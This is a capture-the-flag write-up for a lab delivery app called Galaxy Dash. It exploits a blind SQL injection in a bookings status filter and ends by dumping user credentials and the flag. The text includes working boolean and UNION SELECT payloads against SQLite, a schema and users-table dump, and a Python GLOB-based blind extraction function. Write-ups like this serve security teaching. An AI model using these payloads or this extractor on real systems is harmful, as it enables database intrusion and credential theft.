GalaxyDash-005
by Shawn Szczepkowski
Galaxy Dash is a Futurama-themed delivery app running on Node.js/Express.
After logging in and poking around, I noticed the bookings endpoint accepted a status filter parameter:
GET /api/bookings?status=out_for_delivery
A single quote caused a 500. Two single quotes returned 200. Classic.
Where sqlmap Fell Over
I threw sqlmap at it and it confirmed a boolean-based blind injection — but then immediately failed to fingerprint the database:
[CRITICAL] sqlmap was not able to fingerprint the back-end database management system
[WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 527 times
Out of 582 requests, 527 returned 500 errors. sqlmap’s fingerprinting and UNION confirmation queries rely on functions like IFNULL(), CONCAT(), and nested subqueries — all of which this app’s query layer rejected. Adding --dbms=sqlite, --no-cast, --flush-session narrowed it down but couldn’t fix the root problem: sqlmap’s payload templates didn’t match what this target would accept.
Time to go manual.
Fingerprinting the DB Without sqlmap
I started by figuring out which SQL operators actually worked. The injection escape was ') based on the payload sqlmap found, and boolean behavior was clear:
?status=delivered') AND 1=1-- - → 200, len=683 (data)
?status=delivered') AND 1=2-- - → 200, len=2 (empty)
Mapping the Constraint Surface
I spent time figuring out exactly what the injection context would tolerate:
| Expression | Result |
|---|---|
1=1, 'a'='a' |
✅ |
Math (1+1=2) |
✅ |
Bitwise (1&1=1) |
✅ |
BETWEEN, LIKE, GLOB |
✅ |
CASE WHEN |
✅ |
| Any function call | ❌ 500 |
Subqueries (SELECT ...) |
❌ 500 |
table.column dot notation |
❌ 500 |
IN (list), IS NULL |
❌ 500 |
No functions. No subqueries. No table prefixes. That rules out every standard blind extraction technique.
GLOB-Based Extraction (Phase 1)
GLOB in SQLite is case-sensitive and supports * wildcards, making it perfect for blind extraction without any function calls:
delivered') AND password GLOB 'a*'-- - → true/false
delivered') AND password GLOB 'ab*'-- - → true/false
I built a Python extractor around this:
def extract_glob(col, max_len=200):
result = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@._!$#%^&*-+={}"
for i in range(1, max_len + 1):
found = False
for c in charset:
escaped = f'[{c}]' if c in ('*', '?', '[', ']') else c
if is_true(f"{col} GLOB '{result + escaped}*'"):
result += c
found = True
break
if not found:
break
return result
First I needed to know which columns were in scope. Probing with column LIKE '%' revealed the query was a JOIN — booking fields and user fields were accessible without any table prefix:
status, cargo_description, delivery_date ← bookings table
username, email, password, role ← users table (joined)
Running the extractor got me the current user’s data quickly. But there was a catch — the app enforced org isolation at the application layer. The JWT’s organizationId was used to filter results after the query ran. Even OR 1=1 only returned my own org’s data.
I needed a different approach to reach other orgs.
The UNION Pivot (Phase 2)
I tested whether UNION worked at all:
')+AND+1%3d2+UNION+SELECT+'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'--+-
It worked — and better, the response was JSON with all the original column names, so I could see exactly what position mapped to what field. The query had 26 columns.
But when I tried putting a subquery into a UNION column:
UNION SELECT (SELECT tbl_name FROM sqlite_master LIMIT 1),'a',...-- -
500, The app was blocking parentheses in the SELECT list too.
The breakthrough came when I realized column references need a FROM clause — not a subquery:
')+AND+1%3d2+UNION+SELECT+tbl_name,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+sqlite_master--+-
200. Tables returned.
No parentheses, no subquery, just SELECT col FROM table appended to the UNION. The app’s parser apparently only choked on nested SELECT statements, not top-level FROM clauses.
Dumping Everything
With UNION SELECT FROM working, the rest was straightforward:
-- Schema
')+AND+1=2+UNION+SELECT+sql,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+sqlite_master+WHERE+type='table'--+-
')+AND+1=2+UNION+SELECT+id,username,email,password,role,organization_id,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+users--+-
Tables found: bookings, delivery_notes, delivery_services, invoices, locations, organizations, users.
The users dump returned credentials for every org — including the flag stored in the password field of users from orgs 1–3:
slurms@slurm.galaxy : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
walt@momcorp.galaxy : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
bchow_admin@... : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
tags: